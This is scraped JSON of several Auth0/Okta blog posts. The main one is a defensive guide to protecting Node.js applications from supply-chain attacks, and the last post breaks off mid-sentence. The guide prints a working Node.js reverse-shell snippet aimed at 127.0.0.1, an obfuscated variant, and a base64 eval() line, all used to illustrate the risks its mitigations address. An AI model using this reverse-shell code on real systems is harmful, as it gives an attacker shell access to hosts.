\"email\": \"{{context.user.email}}\",\n \"invite_code\": \"{{fields.invite_code}}\"\n },\n \"type\": \"JSON\",\n \"basic\": null,\n \"method\": \"POST\",\n \"params\": {},\n \"headers\": {},\n \"acceptNOK\": false,\n \"connectionId\": null\n },\n \"allowFailure\": false\n },\n {\n \"id\": \"if_then_condition_q0Ym\",\n \"type\": \"FLOW\",\n \"alias\": \"Verify Code Result\",\n \"notes\": null,\n \"action\": \"BOOLEAN_CONDITION\",\n \"params\": {\n \"then\": [],\n \"evaluate\": {\n \"operands\": [\n {\n \"operands\": [\n \"{{ http_request_verify_code.body.result }}\",\n \"true\"\n ],\n \"operator\": \"EQ\"\n }\n ],\n \"operator\": \"AND\"\n },\n \"otherwise\": [\n {\n \"id\": \"show_error_message_4rkM\",\n \"type\": \"FLOW\",\n \"alias\": null,\n \"notes\": null,\n \"action\": \"ERROR_MESSAGE\",\n \"params\": {\n \"message\": \"Your code is invalid. Please contact support for help\"\n },\n \"allowFailure\": false\n }\n ]\n },\n \"allowFailure\": false\n }\n ],\n \"triggers\": {\n \"webhook\": {\n \"secret\": null,\n \"enabled\": false\n }\n },\n \"synchronous\": true,\n \"security\": {\n \"rateLimits\": []\n }\n }\n },\n \"connections\": {}\n}\n\n```\n\n## Conclusion\n\nToday you learned how to leverage Auth0 Forms to gather input from users to verify them with external systems using the no-code Forms and Flows editors. This capability can be extended to numerous applications such as Progressive Profiling, Consent Collection and many more.\n\nAt Auth0, we aim to provide a high-quality service and developer experience for our customers. The first interaction with your customers is oftentimes a login screen, so we understand how important it is for the user experience to be top-notch. With our hosted Universal Login, we take away the burden of deploying and maintaining these highly secure workflows. With the capabilities of our forms outlined in this post, we are able to help your teams iterate more quickly and customize the experience to be sticky for your brand and ultimately help your business grow.","dateCreated":"2024-09-05T15:18","readTime":8,"formattedDate":"Sep 5, 2024"},{"title":"Okta Fine Grained Authorization is now Available in Private Cloud on AWS","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"1mcuBerjl2UgR8daCOzuMI","type":"Entry","createdAt":"2021-03-22T08:17:47.537Z","updatedAt":"2023-10-31T18:48:37.890Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":12,"revision":4,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"andres-aguiar","name":"Andrés Aguiar","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"62XiyfFlAJjEiSSELuqXyS","type":"Asset","createdAt":"2023-10-31T18:48:29.836Z","updatedAt":"2023-10-31T18:48:29.836Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"andres","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/62XiyfFlAJjEiSSELuqXyS/976d82896bb922d6317366369e7ecf98/andres.png","details":{"size":262739,"image":{"width":512,"height":512}},"fileName":"andres.png","contentType":"image/png"}}},"lastUpdatedBy":"robertino.calcaterra@auth0.com","email":"andres.aguiar@auth0.com","twitter":"https://twitter.com/aaguiar","github":null,"linkedin":"https://www.linkedin.com/in/aaguiar/","isPopular":null,"personalWebsite":null,"type":"Auth0 Employee","jobTitle":"Product Manager","description":"I’ve been at Auth0 since 2017. I’m currently working as a Product Manager for the Auth0 FGA and OpenFGA products. Previously, I worked in the teams that owned the Login and MFA flows. \u003cbr\u003e\nI spent my entire 20+ year career building tools for developers, wearing different hats. When I'm not doing that, I enjoy spending time with my family, singing in a choir, cooking, or trying new kinds of local cheese."}}],"path":"okta-fga-is-now-available-in-private-cloud-on-aws","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/5uiCrgxZ9YwqMpjWAsaKux/40ec9240d733f5738988f5f18cfd1fc9/FGA_Blogpost_Hero.png","size":{"width":1176,"height":1056}},"description":"Now, you can deploy Okta FGA in several AWS regions with high availability and requests per second.","category":["Engineering","Best Practices","AWS"],"tags":["fga","okta","aws"],"postContent":"We are thrilled to announce that [Okta Fine Grained Authorization](https://fga.dev/) (FGA) is now available as an AWS private cloud deployment option.\n\nAuthorization is where Authentication was a decade ago. We aim to simplify Authorization for developers, just as we did with Authentication. In early March, we made significant progress toward this goal by [launching Okta Fine Grained Authorization](https://www.okta.com/blog/2024/03/setting-the-bar-for-authz-okta-fine-grained-authorization-is-now-generally-available/). Okta FGA is an authorization service that enables developers to implement centralized, flexible, scalable, and easy-to-use authorization.\n\nOkta FGA has two deployment options: public cloud and private cloud. The public cloud option is a multi-tenant SaaS service available in three geographies: the United States, Europe, and Australia, offering a highly available multi-region deployment. The private cloud option, on the other hand, is tailored for enterprises seeking dedicated resources. Okta FGA Private Cloud [leverages the same architecture principles](https://auth0.com/blog/securing-auth0s-new-private-cloud-platform/) that have been battle-tested with Auth0 for over two years.\n\n**Benefits of Running Okta FGA in Private Cloud**\n\n* **Higher RPS**: Private cloud instances are optimized for high request-per-second (RPS) performance, scaling up to five times the average RPS based on your application’s needs. \n* **Data Residency and Compliance**: Deploy your Private Cloud environment in any AWS region to help meet specific data residency and compliance requirements. Initial regions include the US, Germany, Ireland, the UK, France, Japan, India, Singapore, Australia, and Brazil.\n* **Reduced Latency**: Choose the AWS region closest to your application servers, which will significantly reduce latency for faster access control checks.\n* **Multi-Geography Deployments:** Businesses can replicate the same authorization data across multiple regions worldwide, allowing them to maintain low-latency authorization services even for globally distributed applications. For example, a company can have the same data in the US, EU, and Australia, have their authorization data replicated across all regions, and have their applications routed to the closest region.\n* **Automated, Hardened Release:** Benefit from automated weekly releases that are previously validated in Okta’s public cloud deployments.\n* **Centralized Management:** Manage both private and public cloud instances seamlessly from the Okta FGA dashboard.\n\nThe availability of Okta FGA in Private Cloud on AWS marks another significant milestone in our vision of running Okta FGA across all major cloud providers and regions. Stay tuned for further updates, and [Contact Us](https://auth0.com/contact-us?place=header\u0026type=button\u0026text=contact%20sales) to learn more.","dateCreated":"2024-08-30T15:07","readTime":2,"formattedDate":"Aug 30, 2024"},{"title":"Secure Node.js Applications from Supply Chain Attacks","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"3xRwXzShZON3rsvywduTEb","type":"Entry","createdAt":"2022-05-27T14:15:55.799Z","updatedAt":"2024-07-24T18:43:23.843Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":21,"revision":3,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"leonardo-zanivan","name":"Leonardo Zanivan","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"4u8gmYQbEXohe9vkVvY4QT","type":"Asset","createdAt":"2022-05-27T14:09:59.783Z","updatedAt":"2022-05-27T14:09:59.783Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"leonardo","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/4u8gmYQbEXohe9vkVvY4QT/fc5747ec2ea9e1132c962192b210bf91/leonardo.jpeg","details":{"size":28327,"image":{"width":512,"height":512}},"fileName":"leonardo.jpeg","contentType":"image/jpeg"}}},"lastUpdatedBy":"Robertino Calcaterra","email":"leo.zanivan@okta.com","twitter":null,"github":null,"linkedin":"https://www.linkedin.com/in/leonardozanivan","isPopular":false,"personalWebsite":null,"type":"Auth0 Employee","jobTitle":"Senior Software Architect","description":"Leonardo is a Senior Software Architect at Okta, working on the new Auth0 platform and cutting-edge product features. He is a seasoned technical leader with 17 years of experience in a wide range of segments, from enterprise to SaaS systems. As an Apache committer, he has contributed to various open-source projects. He is a self-learner, passionate about new technology, and has spoken at several developer events."}}],"path":"secure-nodejs-applications-from-supply-chain-attacks","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/7tiXdl3hqVv1Zf4ieYQ4to/a28cbc1e456759e92860edd79a07463a/nodejs","size":{"width":1176,"height":1056}},"description":"Guidelines and security best practices to protect from third-party threats","category":["Engineering","Best Practices","Node.js"],"tags":["nodejs","attacks","security"],"postContent":"This isn’t another AI-generated blog post about generic security practices. It contains detailed instructions on protecting Node.js applications from supply-chain attacks and describes best practices for security in any programming language.\n\nAccording to the GitHub report, [The state of open source and rise of AI in 2023](https://github.blog/2023-11-08-the-state-of-open-source-and-ai/), JavaScript and TypeScript are the #1 and #3 most popular languages hosted on GitHub, respectively. Python is #2 and is increasing in adoption with the growth of AI projects.\n\n## Acknowledge the Problem \n\nSecurity concerns surrounding the [NPM](https://docs.npmjs.com/about-npm) ecosystem have gained significant attention after the [SolarWinds breach](https://www.wired.com/story/the-untold-story-of-solarwinds-the-boldest-supply-chain-hack-ever/). The escalating threat to both developers and the applications they create highlights the critical need for awareness and strategies to mitigate supply chain attacks and various security weaknesses throughout the software development process.\n\n[Supply chain threats](https://en.wikipedia.org/wiki/Supply_chain_attack) manifest in various ways. However, we will focus on embedding backdoors in open-source packages, which are frequent targets for major-scale attacks. Attacks against open source can come from different sources, such as email takeovers due to expired domains, binary takeovers due to deleted S3 buckets, bad actors infiltrating the community, changes in repository ownership, or functional packages with hidden malware distributed by bad actors. Don't assume it is easy to spot the malware; it is usually hard to find just by reading the source code or an innocent test file with obfuscated code.\n\nSome notorious public examples of popular infected packages include [ua-parser-js](https://cloud.google.com/blog/topics/threat-intelligence/supply-chain-node-js/), with 12 million downloads per week; [coa](https://cloud.google.com/blog/topics/threat-intelligence/supply-chain-node-js/), with 6 million per week; or [rc](https://cloud.google.com/blog/topics/threat-intelligence/supply-chain-node-js/), with 14 million per week. Other attacks included [bignum](https://thehackernews.com/2023/06/new-supply-chain-attack-exploits.html) package, which was affected by an S3 bucket takeover to distribute infected binaries, and thousands of other malicious packages already removed from official repositories for distributing malware and abusing typosquatting for popular packages.\n\nA [quote](https://nodejs.org/en/learn/getting-started/security-best-practices#malicious-third-party-modules-cwe-1357) from the official Node.js security best practices page about the risk of malicious third-party modules ([CWE-1357](https://cwe.mitre.org/data/definitions/1357.html)):\n\n\u003e Currently, in Node.js, any package can access powerful resources such as network access. Furthermore, because they also have access to the file system, they can send any data anywhere.\n\n\u003e All code running into a node process has the ability to load and run additional arbitrary code by using eval() or its equivalents. All code with file system write access may achieve the same thing by writing to new or existing files that are loaded.\n\n## Block Installation Scripts\n\nDependencies may require [addons](https://nodejs.org/api/addons.html) of modules written in C++ or another language. The package installation [scripts](https://docs.npmjs.com/cli/v10/using-npm/scripts#pre--post-scripts) can be used to download binaries from a remote repository (S3 bucket, Github, etc.) or build it locally using [node-gyp](https://github.com/nodejs/node-gyp).\n\nNPM CLI executes installation scripts by default during the installation phase, and this is an insecure default. Luckily, you can disable it by passing a command line argument `npm install --ignore-scripts` or setting `npm config set ignore-scripts true`. I prefer setting a user or global configuration to always apply the secure policy.\n\n\u003e **Note**: [Yarn](https://classic.yarnpkg.com/lang/en/docs/cli/install/#toc-yarn-install-ignore-scripts) and [PNPM](https://pnpm.io/cli/install#--ignore-scripts) can also block installation scripts. [Bun](https://bun.sh/guides/install/trusted) does it by default.\n\nDownloading files from untrusted locations is dangerous because it bypasses security controls, such as private repositories for NPM. When an untrusted repo is used, a third-party dependency can inject binaries into the developer's machine, the CI build pipeline, and the production environment. You can see this kind of attack in the image below:\n\n![new-supply-chain-attack-exploits](https://images.ctfassets.net/23aumh6u8s0i/7ss93CIp2bvuNNM3kaqiNx/bd3b4c5e0914ac0b2d5019b20b867ae7/nodejs-post-01.png)\n[**Source**](https://thehackernews.com/2023/06/new-supply-chain-attack-exploits.html): _A package developer hosts a binary file on an S3 bucket and references it in his NPM package, and then the developer deletes the bucket. An attacker creates an S3 bucket and uploads a malicious binary with the same name as the previously deleted file. When someone installs the NPM package, the malicious file is downloaded._\n\n### How to keep addon modules working\n\nThe recommended way is to allow a list of the packages that require building locally and avoid the ones that download binaries from remote repositories. You can do this using the package [@lavamoat/allow-scripts](https://www.npmjs.com/package/@lavamoat/allow-scripts).\n\nAn alternative method is to avoid building or downloading binaries from untrusted repositories. It uses the [optionalDependencies](https://docs.npmjs.com/cli/v10/configuring-npm/package-json#os) feature to distribute binaries based on the operating system, CPU architecture, and Node.js version. Popular packages apply this technique, and a utility for building Node.js Rust addons is available in [napi-rs/node-rs](https://github.com/napi-rs/node-rs).\n\n## Block Dynamic Scripts\n\nThe `eval()` and `new Function()` are backdoor functions that third-party modules use to execute malicious code obtained from obfuscated strings. You can disable these functions via the Node.js `--disallow-code-generation-from-strings` command line argument.\n\nEvaluating obfuscated strings can lead to serious attacks. A simple Base64-encoded string can download malware from a remote host, exfiltrate data such as environment variables, or open a reverse shell, and it is just an example of an innocent line of code.\n\n```\neval(new Buffer(\"KGZ1bm…\",\"base64\").toString(\"ascii\"));\n```\n\nIf the application uses any module that depends on dynamic scripts (e.g: [ejs](https://www.npmjs.com/package/ejs)), consider replacing that module with a safer alternative. It will also protect against other attacks, such as code injection.\n\n## Block Child Process\n\nThere are no controls for locking down what an application process can do in Node.js. Applications currently have permissions to all default system calls and can utilize these unneeded system calls to further their attack. In general, production applications shouldn't execute other binaries, and you can disable this by blocking the `execve` syscall. A sample Node.js reverse shell code can demonstrate this vulnerability:\n\n```js\n(function() {\n var net = require(\"net\");\n var sh = require(\"child_process\").spawn(\"/bin/sh\", []);\n var client = new net.Socket();\n client.connect(12345, \"127.0.0.1\", function() {\n client.pipe(sh.stdin);\n sh.stdout.pipe(client);\n sh.stderr.pipe(client);\n });\n return /a/;\n})();\n```\n\nThe code can be obfuscated using [obfuscator.io](https://obfuscator.io/) and bypass existing protections:\n\n```js\n(function(_0x19723c,_0x336b77){var _0x3c208e=_0x2e41,_0x322e46=_0x19723c();while(!![]){try{var _0x1d6b72=parseInt(_0x3c208e(0xc4))/0x1*(parseInt(_0x3c208e(0xc5))/0x2)+-parseInt(_0x3c208e(0xc9))/0x3+-parseInt(_0x3c208e(0xd3))/0x4 ...\n```\nThe Node.js [permission model](https://nodejs.org/api/permissions.html#process-based-permissions) is experimental and should not be used in production. Once this feature is generally available, developers will have more control over implementing security best practices to protect against some supply chain attack vectors. Meanwhile, let's explore another way to secure Node.js applications using [google/nsjail](https://github.com/google/nsjail) tool:\n\n\u003e A lightweight process isolation tool that utilizes Linux namespaces, cgroups, rlimits and seccomp-bpf syscall filters, leveraging the Kafel language for enhanced security.\n\nThe Node.js `child_process` module can be blocked using the following [Seccomp](https://en.wikipedia.org/wiki/Seccomp) filter:\n\n```js\nERRNO(1) {\n // Prevent file execution via execve:\n // * Node.js: child_process, cluster modules\n // * Python: subprocess module, os.system() \u0026 os.popen()\n // * Golang: os/exec module\n // * Java: ProcessBuilder module, runtime.exec()\n // * C: system() \u0026 execvp() functions\n execve\n}\nDEFAULT ALLOW\n```\n\n## Block Prototype Pollution\n\nPrototype pollution is a JavaScript language vulnerability that enables an attacker to add arbitrary properties to global object prototypes, which user-defined objects may then inherit.\n\nThird-party modules can use this vulnerability to inject malicious code and intercept data, or external attackers can send handy-crafted requests to gain unauthorized access or cause data exposure.\n\nIt can be exploited by overriding `__proto__` and `constructor` object properties or using monkey patching by replacing the built-in globals, for example:\n\n```js\nArray.prototype.push = function (item) {\n // overriding the global [].push\n};\n```\n\nThe recommended mitigation is to use [nopp](https://www.npmjs.com/package/nopp) package from Snyk or the Node.js command line arguments `--disable-proto=throw --frozen-intrinsics`, but be careful with the frozen intrinsics option because it is currently experimental.\n\n## Enforce the Lockfile \n\nEvery application should use lockfiles. They pin every dependency (direct and transitive) to a specific version, location, and integrity hash. For NPM CLI, this file is placed in the source's root directory and is named [package-lock.json](https://docs.npmjs.com/cli/v10/configuring-npm/package-lock-json). You can find more information about lockfiles for other package managers in the [Yarn](https://classic.yarnpkg.com/lang/en/docs/yarn-lock/), [PNPM](https://pnpm.io/git), and [Bun](https://bun.sh/docs/install/lockfile) documentation.\n\nAlways commit the lockfile to the version control repository (e.g., git) to ensure the CI build pipeline installs the correct dependencies for running tests and generating production builds. This will also speed up the installation because it skips the module resolution phase.\n\nThe enforcement should happen by using a specific installation command that uses the lockfile to find any inconsistencies against the `package.json`. This command then reports any inconsistencies as a failure. In NPM CLI, use the [npm ci](https://docs.npmjs.com/cli/v10/commands/npm-ci) command.\n\nAdditionally, use the [lockfile-lint](https://www.npmjs.com/package/lockfile-lint) package to find untrusted sources instead of a trusted NPM repository. Dependencies fetched from GitHub are not immutable and can be used to inject untrusted code or reduce the likelihood of a reproducible install. This can also spot lockfile poisoning attacks via code changes not reviewed correctly. Usage example:\n\n```\nlockfile-lint --path package-lock.json --allowed-hosts npm\n\n detected invalid host(s) for package: xyz@0.1.0\n expected: registry.npmjs.org\n actual: github.com\n\n ✖ Error: security issues detected!\n```\n\n\u003e **Note**: If you have a private repository, add it to the `allowed-hosts` parameter.\n\n## Keep Dependencies Updated\n\nThe NPM ecosystem is an awesome open-source community, but it has too many packages on which the whole internet depends. This characteristic makes it a high-profile target for attackers, who often exploit vulnerabilities in popular packages.\n\nA healthy and secure application should be kept up-to-date with the latest security fixes for its dependencies. This also means dependencies should use a maintained package version, not end-of-life software. There is a balance between the latest and stable versions. A production application does not want to be in the newest database driver version if the community has not proved it for at least a few weeks. **Be eager to update security fixes and lazy to major bump versions**. Always read the changelog.\n\nThe good news is that GitHub offers a free service called [Dependabot](https://docs.github.com/en/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates#grouping-dependabot-updates-into-a-single-pull-request) that can automatically submit pull requests for security fixes based on the [GitHub Advisories](https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm).\n\n![security](https://images.ctfassets.net/23aumh6u8s0i/5o2Jxdx1R6Gnw0nXGHImVO/332c76fc0a8f56f833e2af04c3685654/nodejs-post-02.png)\n\n## Audit Dependencies\n\nA security must-have is also to include a Software Composition Analysis (SCA) tool in the development lifecycle to analyze open-source dependencies to find vulnerabilities and associated risks such as reputation, licenses, number of downloads, install scripts, and maintenance status.\n\nThe NPM CLI offers the [npm audit](https://docs.npmjs.com/cli/v10/commands/npm-audit) command powered by [GitHub Advisories](https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm), which can be included in the development process and GitHub PR checks. However, the recommendation is to leverage more comprehensive tools such as [Snyk](https://github.com/marketplace/snyk) and [Socket.dev](https://github.com/marketplace/socket-security), which integrate with GitHub and are free for open-source and individual developers.\n\n![Audit](https://images.ctfassets.net/23aumh6u8s0i/26e96cSEP6p3O2fTKJfrRy/b6ddfd973bafe6d4a23e275effd63f9d/nodejs-post-03.png)\n\nOther valuable tools exist and should be considered; for example, the Open Source Security Foundation (OpenSSF) has a [Scorecard](https://securityscorecards.dev/) tool that can integrate well into a CI build pipeline or as a [GitHub application](https://github.com/apps/allstar-app).\n\n## Run in Unprivileged Mode\n\nRunning the application with a root user or in privileged mode is not recommended, and it goes against the principle of least privilege. The malicious dependencies can leverage the root user and extra privileges to exploit and gain unauthorized access, with access to all system capabilities if not contained. This applies to both virtual machines and container environments.\n\nThe recommended practice is to create a dedicated user for Node.js and not run a container in privileged mode. This user should only be able to do what the application requires, and it can only listen on non-privileged ports (1024 and above). Dockerfile snippet example:\n\n```\nRUN addgroup --gid 1000 node \u0026\u0026 \\\n adduser --uid 1000 --gid 1000 node\nWORKDIR /home/node/app\nCOPY --chown=node:node . /home/node/app\nUSER 1000\n```\n\n\u003e Note: Some Docker images, including the [official](https://hub.docker.com/_/node), already create the node user, so skip that step.\n\n## Run in Read-Only Filesystem\n\nApplications should run as immutable processes to prevent unauthorized modifications at runtime and persistent malware infection. The best way to enforce that in a container environment is to restrict the root filesystem to be read-only. Create specific volumes outside the root filesystem for the use cases requiring write permissions. You can do this in Docker using the following command:\n\n```\ndocker run --read-only -v app-data:/data my_image\n```\n\nIn a Kubernetes environment, you can configure this via the `securityContext` spec described in the [Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/). You can apply the policies per pod or namespace via a security admission controller. Here’s an example of a custom Pod policy:\n\n```\nsecurityContext:\n readOnlyRootFilesystem: true\n```\n\n## Use a Distroless Image\n\nWhat is the problem with using Debian and CentOS-based Node.js images? They are full operating systems and contain many packages with vulnerabilities. That increases the attack surface and helps malicious dependencies or other attackers exploit vulnerabilities. The official Debian Node.js image is 1GB in size; however, Node.js also offers the `slim` and the `alpine` versions. These considerably strip down packages and reduce vulnerabilities.\n\nWhy a distroless image? They are not an operating system and only add the basic Linux capabilities for the Node.js process to run, including the `glibc` and certificates. Most importantly, they do not include a package manager, a root user, a shell, or the NPM CLI.\n\nInstead of building a distroless image yourself, it is recommended that you adopt the [Google Distroless](https://github.com/GoogleContainerTools/distroless) images used by Kubernetes core or [Chainguard](https://www.chainguard.dev/) for use cases that require a support SLA and other features such as [FIPS](https://www.nist.gov/standardsgov/compliance-faqs-federal-information-processing-standards-fips) requirements for cryptography modules.\n\nIt is important to note that since Distroless images usually do not contain the software required to develop applications, a multi-stage Dockerfile needs to be used to build and then copy the result into the final image, for example:\n\n```\nFROM node:20 AS build-env\nCOPY . /app\nWORKDIR /app\nRUN npm ci --omit-dev\n\nFROM gcr.io/distroless/nodejs20-debian12\nCOPY --from=build-env /app /app\nWORKDIR /app\nCMD [\"index.js\"]\n``` \n\n## Filter Network Traffic\n\nNetwork segmentation and the principle of least privilege are standard security practices that should be globally applicable to all production and CI build environments. Node.js applications are not an exception to this rule, and system administrators must enforce that.\n\n### Inbound traffic\n\nThe deployed application should only accept traffic from authorized resources. On the network layer, this means restricting specific subnets, IP addresses, and ports. The application layer should implement authentication, either via access tokens or [mTLS](https://istio.io/latest/blog/2023/secure-apps-with-istio/) using a service mesh. Access control to a resource cannot be based solely on access to its network, which is important because it prevents unauthorized access and lateral movement attacks. The inbound traffic is filtered at the network and application layers to implement a defense-in-depth strategy.\n\n![Inbound traffic](https://images.ctfassets.net/23aumh6u8s0i/4lEHGeY56Qzd5jHi7uExyn/8de71a99985346910e1f5a41bbf9e609/nodejs-post-04.png)\n[**Source**](https://istio.io/latest/docs/concepts/security/): _Deployment topology of a service mesh. The Istio proxy runs as a sidecar for Service A and Service B. The Istio proxy communicates with the Istio control plane to set up a secure mTLS connection between services._\n\n### Outbound traffic\n\nEven though it is hard to resist the temptation to allowlist `0.0.0.0/0`, the default policy should deny outbound traffic. The recommendation is to implement a policy that allows outbound traffic to private subnets required for the application to work and create an allowlist of IPs and ports on an as-needed basis for internet outbound traffic.\n\nWhen applications connect to cloud provider-managed services, such as AWS S3, the traffic goes through the public internet. The problem is that an application cannot allow the dynamic large cloud provider IP ranges as it will be virtually open to the external world. One of the solutions is to use private links ([AWS](https://docs.aws.amazon.com/AmazonS3/latest/userguide/privatelink-interface-endpoints.html), [Azure](https://learn.microsoft.com/en-us/azure/storage/common/storage-private-endpoints), [GCP](https://cloud.google.com/vpc/docs/private-service-connect)), however they have an extra cost.\n\nThe same problem can happen with many other SaaS applications without a private link option. In this case, the solution is to implement an egress proxy that allowlists the domains, using a standalone [Squid](https://www.squid-cache.org/) proxy or transparently via a service mesh [egress gateway](https://istio.io/latest/blog/2023/egress-sni/). The benefits of an egress proxy include traffic monitoring via logs to detect active or past threats and block zero-day supply chain attacks trying to reach a remote server.\n\n![Outbound traffic](https://images.ctfassets.net/23aumh6u8s0i/3jLC4AGdNZ3nj456Q5enm9/91ae0a4bba87d705a00550546c0eab62/nodejs-post-05.png)\n[**Source**](https://istio.io/latest/blog/2023/egress-sni/): _A service mesh topology that demonstrates an application container communicating to an external website through a gateway proxy container._\n\n## Protect the Developer\n\nThe developer is the first line of defense against a supply chain attack and is often the one who installs the bad packages or untrusted software from the internet. The attack surface is massive, and attacks can happen in many ways.\n\nThe consequences of compromising a developer machine are immeasurable because it has the highest access to the production environment or stores confidential information and secrets. This information can be used to create a persistent attack that can severely damage the individual's personal life or the company they work for.\n\nThe recommendation is to start by securing the identities of all personal and corporate applications by enforcing [phishing-resistant](https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf) multi-factor authentication via [passkeys](https://dev.auth0.com/blog/webauthn-and-passkeys-for-developers/) or security keys. [Okta](https://okta.com/) is an identity management service in the cloud that can integrate with everything to provide the most secure identity in the world.\n\nSecond, the development environment can be isolated from the rest of the machine using a virtual machine or containers, limiting access to resources required for development. The [devcontainers](https://code.visualstudio.com/docs/devcontainers/containers) extension for VSCode is an easy way to set up a transparent development experience.\n\n![Protect the Developer](https://images.ctfassets.net/23aumh6u8s0i/rSvf2GteSrUfN3faAm35W/e7e287b1d0d206d41572ab58e4391dc1/nodejs-post-06.png)\n[**Source**](https://code.visualstudio.com/docs/devcontainers/containers): _The container runs a VS Code Server workspace extension as a developer environment to isolate the environment from the local OS._\n\nIn addition to the security practices above, developer machines should use anti-virus and firewall software to detect malicious activities and monitor inbound and outbound network traffic. Security threats evolve rapidly, so monitoring needs to happen in real time.\n\n**Security mission accomplished!**","dateCreated":"2024-07-25T15:27","readTime":14,"formattedDate":"Jul 25, 2024"},{"title":"Taking Action During Women’s History Month: Elevating Women in Engineering","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"1zf5VKiXNQl6pEoAwWKn08","type":"Entry","createdAt":"2023-06-06T19:53:23.336Z","updatedAt":"2023-06-06T19:53:23.336Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":12,"revision":1,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"monica-bajaj","name":"Monica Bajaj","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"2D9rzvyy5cUDdm07v6xJAZ","type":"Asset","createdAt":"2023-06-06T19:52:22.128Z","updatedAt":"2023-06-06T19:52:22.128Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"monica-bajaj","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/2D9rzvyy5cUDdm07v6xJAZ/c3f09d3f9e5f6223ead0b24a9a18d06c/monica-bajaj.jpeg","details":{"size":53855,"image":{"width":300,"height":300}},"fileName":"monica-bajaj.jpeg","contentType":"image/jpeg"}}},"lastUpdatedBy":"robertino.calcaterra@auth0.com","email":"monica.bajaj@okta.com","twitter":null,"github":null,"linkedin":null,"isPopular":false,"personalWebsite":null,"type":"Auth0 Employee","jobTitle":"VP of Engineering, Customer Identity Cloud, Okta","description":"Monica Bajaj is the Vice President of Engineering at Okta, where she leads the Developer Experience portfolio for Customer Identity Cloud ( CIAM) Product unit. She is responsible for the development and innovation efforts for building a frictionless developer experience for our developers, customers, and partners. Before joining Okta she held senior engineering leadership positions at Workday, Network Appliance, and UKG. Outside work, she loves spending time with boy scouts, hiking, painting, and supporting the cause of mentorship and uplifting women and young girls."}}],"path":"women-s-history-month-women-in-engineering","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/6zV5rhlqeyOXo74FnkioxU/8edc1edbe6282b46cb2b95c989cb695e/code-review","size":{"width":1765,"height":1585}},"description":"Elevating, overcoming adversity, connecting, and inspiring other women through a month-long series of events","category":["Culture","People","Engineering"],"tags":["woman","okta","engineering"],"postContent":"![A show of solidarity amongst Women in Engineering during Okta Vice President Engineering - Developer Experience Monica Bajaj’s[ #Iamremarkable](https://iamremarkable.withgoogle.com/) session at the Auth0 product unit offsite in Cancun, Mexico during Women’s History Month 2023.](https://images.ctfassets.net/23aumh6u8s0i/2AbKDnju5aOGvc2JF5QR7b/369b8c78c418fdacf53811968b7ca344/Women_in_Engineering_01.jpg)\n\nDuring Women's History Month at Okta, we focused on action over reflection. We wanted to commemorate the trailblazers who came before us, encourage those leading today, and make plans that will inspire and improve the lives of women in the future. We planned a month-long series of events with a different theme each week to bring all of us together on this journey. Our themes were _Elevate, Adversity, Connect, and Inspire._\n\n* **Week 1: Elevate:** We focused on bringing visibility to the contributions we all make each day. We encouraged everyone to make a specific commitment to elevating themselves or other women, whether it was volunteering to mentor in RISE (Okta’s internal mentorship program), requesting a stretch assignment, speaking up, or bringing their own chair to the table. (For more on what I mean by “elevate,” please check out [this](https://www.linkedin.com/pulse/magical-monica-bajaj) LinkedIn post.)\n* **Week 2: Adversity:** We created a safe space for candid conversation and questions about the adversity our women leaders have faced in the past and the challenges we all face today via a panel discussion. We talked about specific ways to address and overcome these challenges while providing inspiration and encouragement to one another to change those things we see as wrong today.\n* **Week 3: Connect:** This year, we had the perfect opportunity to meet face-to-face for our first-ever in-person WinE (Women in Engineering) meeting. In addition to celebrating Women's History Month, we also had our first team-wide offsite since 2019. Over 400 Oktanauts attended, and it was a fantastic opportunity to build stronger relationships with colleagues while enjoying the beautiful beaches and soaking up the sun. Our theme was “ASSEMBLE”, which played an important role in fortifying our community, building deeper connections, and making our community of women stronger and more resilient than ever. During this week, I got to do an [IAmRemarkable](https://iamremarkable.withgoogle.com/) session with Women in Engineering focused on Women Empowerment and focus on our[ Word of Intent ](http://myintent.org/)\n* **Inspire week:** Special guest speaker, [Jhillika Kumar](https://www.linkedin.com/in/jhillika/) founder and CEO of [Mentra](https://www.mentra.com/) and TEDx speaker for diversity and neuro-inclusion, joined us. Born from neurotypical and neurodivergent individuals looking to understand each other, Mentra uses AI to help recruiters bridge recruitment gaps. Jhillika shared her experiences and helped us reflect on how we can live our dreams, 